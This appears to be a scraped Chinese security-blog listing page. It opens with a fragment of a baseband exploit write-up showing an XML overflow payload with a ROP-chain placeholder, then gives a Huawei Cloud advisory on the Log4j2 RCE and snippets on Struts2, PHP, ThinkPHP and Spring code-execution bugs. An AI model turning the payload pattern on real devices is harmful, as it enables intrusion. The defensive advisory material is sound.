    在ROP链执行以后,基带仍然是完好无损的,我们可以更换一个更好的位置进行溢出,例如标签

    <?xml  version=”1.0”?>
    	<reginfo  xmlns=”urn:ietf:params:xml:ns:reginfo”  version=”2”  state=”full”>
    	<registration  aor=”tel:666666”  id=”0x7fe072423570”  state=”active”>
    	<contact  id=”0x7fe072422710”  state=”active”  event=”registered”  expires=”599996” q=”0.000”>
    AAAAAAAAAAAAAAAAAAAAAA1ABC2ABC3ABC4ABC5ABC6ABC7ABC8ABCRop-chain-starts-here>test</haha
    	</contact>
    	</registration>
    	</reginfo>
    

    Payload的结构如下:
    在这里插入图片描述
    在栈上Payload是从100byte的’A’开始,紧接着栈上保存了R4-R11。真正的ROP链是为了从栈上复制shellcode然后执行shellcode
    关注微信公众号,获取更多资讯:知柯信息安全
    在这里插入图片描述

    展开全文
  • 近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞。Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大。华为云安全在第一时间检测到漏洞状况并...

    近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞。Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大。华为云安全在第一时间检测到漏洞状况并在官网发布相关公告,在此提醒使用Apache Log4j2的用户尽快安排自检并做好安全防护。

    公告详情:Apache Log4j2 远程代码执行漏洞_华为云

    Apache Log4j2是一款业界广泛使用的基于Java的日志记录工具。此次曝出的漏洞,利用门槛低,漏洞危害极大,威胁级别定义为严重级。此漏洞存在于Apache Log4j 2.x到 2.15.0-rc1多个版本,已知受影响的应用及组件包括spring-boot-starter-log4j2 / Apache Solr / Apache Flink / Apache Druid等。

    华为云安全在第一时间提供了对该漏洞的防护。仅仅过去数小时,华为云WAF就在现网中拦截了Apache Log4j2 远程代码执行漏洞的大量变形攻击,通过分析发现攻击者正在不断尝试新的攻击方法,当前已识别到10+种试图取得服务器控制权的变形攻击。鉴于此漏洞威胁级别高,而且出现大量变形攻击,因此华为云安全团队提醒客户及时采取处置措施和开启防护服务。

    一、漏洞处置

    1. 尽快升级至Apache log4j-2.15.0-rc2官方正式版,Apache官方已发布补丁,下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
    2. 对于无法短时间升级新版本的情况,建议采取如下措施来缓解:
    • (优先) 添加以下JVM启动参数来禁止解析JDNI,重启服务,jvm参数 -Dlog4j2.formatMsgNoLookups=true
    • log4j2.ini 配置中设置log4j2.formatMsgNoLookups=True 禁止解析JDNI
    • 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
    • 确保使用高版本JDK,如JDK8u191默认限制远程加载恶意类(只能增加漏洞利用难度,不能杜绝)
    • 禁止没有必要的业务访问外网

    二、开启防护服务,主动检测和动态防护

    华为云安全持续监测此漏洞及其变种攻击,建议开启相关安全防护服务,主动扫描防护利用此漏洞进行的恶意攻击

    1、开启华为云WAF的基础防护功能(购买WAF标准版、专业版或铂金版),检测和拦截各种变形攻击。

    产品页:Web应用防火墙WAF_云防火墙_云WAF租用_购买-华为云

    在华为云WAF控制台,防护策略->Web基础防护,开启状态,设置拦截模式,开启华为云WAF的Web基础防护功能。

    2、开启华为云CFW的基础防御功能(基础版),检测和拦截各种变形攻击。

    产品页:防火墙 CFW-华为云

    在华为云CFW控制台,入侵防御->防御策略设置页面,打开基础防御功能开关,并启动拦截模式。

    3、华为云漏洞扫描服务VSS第一时间提供了对该漏洞的检测能力。开启华为云VSS的漏洞扫描功能(免费开通基础版,或购买专业版、高级版、企业版),检测网站及主机资产是否存在该漏洞,主动识别安全风险。

    产品页:https://www.huaweicloud.com/product/vss.html

    在华为云VSS控制台,资产列表->网站->新增域名,资产列表->主机->添加主机,启动扫描,等待任务结束,查看扫描报告。

    点击关注,第一时间了解华为云新鲜技术~

    展开全文
  • Struts 2 远程代码执行漏洞

    千次阅读 2019-03-23 17:57:49
    攻击者通过发 送恶意构造的HTTP数据包利用该漏洞(通过构造HTTP请求头中的Content-type) 在服务器上执行系统命令,进一步完全控制该服务器,造成拒绝服务,数据泄露,网站篡改等后果。 该漏洞无需任何前置条件...
  • PHP代码执行漏洞

    千次阅读 2017-08-16 21:21:25
    代码执行漏洞是指应用程序本身过滤不严,攻击者可以通过请求将代码注入到应用中,最终在web服务器上去执行。 危险函数执行PHP代码的有: eval(), assert(), preg_replace(), call_user_func(), call_user_func_...
  • 12月9日,监测到网上披露Apache Log4j2 远程代码执行漏洞,由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可在目标服务器上执行任意代码。漏洞PoC已在网上公开,...
  • RCE远程命令、代码执行漏洞

    千次阅读 2021-06-07 23:50:34
    RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 1.远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的...
  • 用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一。该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接口,并构造恶意...
  • 我们知道在ThinkPHP5中是有远程代码执行漏洞的。这个漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。 write up 靶场地址:http://ctf.wangdun.cn 靶场信息: ...
  • 近日, Apache Log4j 的远程代码执行最新漏洞细节被公开,攻击者可通过构造恶意请求利用该漏洞实现在目标服务器上执行任意代码。可导致服务器被黑客控制,从而进行页面篡改、数据窃取、挖矿、勒索等行为。建议使用该...
  • 最新log4j2 远程代码执行漏洞(紧急扩散)

    千次阅读 多人点赞 2021-12-10 13:17:41
    在12月9日晚间出现了Apache Log4j2 远程代码执行漏洞攻击代码。该漏洞利用无需特殊配置,经多方验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。Apache Log4j2是一款流行的Java日志框架...
  • Struts2远程代码执行漏洞

    千次阅读 2017-03-18 12:10:55
    Struts2曝远程代码执行漏洞 本文摘自:http://www.oschina.net/news/74386/struts-2-cve-2016-4438 今年4月份,Apache Struts 2之上发现的S2-033远程代码执行漏洞,以迅雷不及掩耳之势席卷而来。其利用...
  • log4j漏洞处理
  • fastjson远程代码执行漏洞问题分析

    千次阅读 2020-03-01 16:15:11
    fastjson远程代码执行安全漏洞(以下简称RCE漏洞),最早是官方在2017年3月份发出的声明, security_update_20170315 没错,强如阿里这样的公司也会有漏洞。代码是人写的,有漏洞是难免的。关键是及时的修复。 声明中...
  • Dvwa漏洞之代码执行漏洞

    千次阅读 2022-04-11 00:14:40
    代码执行漏洞 code execution 允许攻击者执行操作系统命令 windows or linux 可以用来得到一个反向shell 或者使用wget上传文件
  • web渗透之——任意代码执行漏洞

    千次阅读 2020-03-04 14:19:10
    eval,assert,将字符串当成代码执行 preg_replace("/wslp/e","$xr",“wslp”);用第二个参数的执行结果替换第三个参数里的第一个参数指定的值 漏洞形成 如果被执行的字符串是通过前端参数传过来的攻击代码,或者...
  • spring框架远程代码执行漏洞

    千次阅读 2014-11-20 13:12:43
    Spring框架远程代码执行 0x01 概述 2012年12月国外研究者DanAmodio发表《Remote Code with Expression Language Injection》一文,指出Spring框架存在潜在的代码注入风险。在2013年1月,国内安全研究人员在...
  • 代码执行漏洞原理/防御

    万次阅读 2021-07-16 15:56:58
    代码执行漏洞是指 攻击者利用 将字符串转化成代码的函数 , 进行代码注入 触发点/检测 代码执行漏洞在Web端不容易发现,需要代码审计,重点在一些执行代码的函数,比如 eval(); assert(); exevute(); preg_...
  • ThinkPHP5 5.0.23 远程代码执行漏洞

    千次阅读 2022-03-09 09:03:45
    其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。 进入目录并启动 访问 index.php?s=captcha _method=__...
  • 远程命令执行和远程代码执行

    千次阅读 2021-05-22 14:23:06
    RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。 比如我们常见的...
  • Apache Log4j 2 远程代码执行漏洞详解

    千次阅读 2021-12-11 11:43:08
    而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞...
  • 代码执行与命令执行

    千次阅读 2019-09-27 16:01:00
    代码执行与命令注入0x01 代码执行1.eval2.assert3.call_user_func4.call_user_fuc_arr...
  • Spring Cloud Gateway远程代码执行漏洞复现 上篇文章《Spring Cloud Gateway高危漏洞修复方案》已经讲述了此次漏洞的影响及修复方案,那么本文就带领大家玩一玩该漏洞是怎么执行代码注入的,并会给使用者带来什么样...
  • 该漏洞是由于Spring Core未对传输的数据进行有效的验证,攻击者可利用该漏洞在未授权的情况下,构造恶意数据进行远程代码执行攻击,最终获取服务器最高权限。 Spring是一个支持快速开发Java EE应用程序的框架。 它...
  • WebLogic LDAP远程代码执行漏洞 漏洞编号 CVE-2021-2109 JNDI简介 JNDI是Java Naming and Directory Interface (Java命名和目录接口)的英文简写, 是为Java应用程序提供命名和目录访问服务的API ...
  • 代码执行和命令执行漏洞小记

    千次阅读 2021-10-24 21:44:43
    代码执行漏洞 由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是...
  • 向日葵远程代码执行漏洞

    千次阅读 2022-02-21 17:19:11
    向日葵远程代码执行漏洞
  • JOP代码复用攻击

    千次阅读 2018-05-20 00:49:50
    它同样利用二进制可执行文件中已有的代码片段来进行攻击。ROP 使用的是 ret指令来改变程序的控制流,而 JOP 攻击利用的是程序间接接跳转和间接调用指令(间接 call 指令)来改变程序的控制流。当程序在执行间接跳转...
  • eval代码执行漏洞

    千次阅读 2019-09-22 09:59:29
    如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。 看一则样例 <?php include "flag.php"; $a = @$_REQUEST['hello']; eva...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 204,253
精华内容 81,701
关键字:

代码执行攻击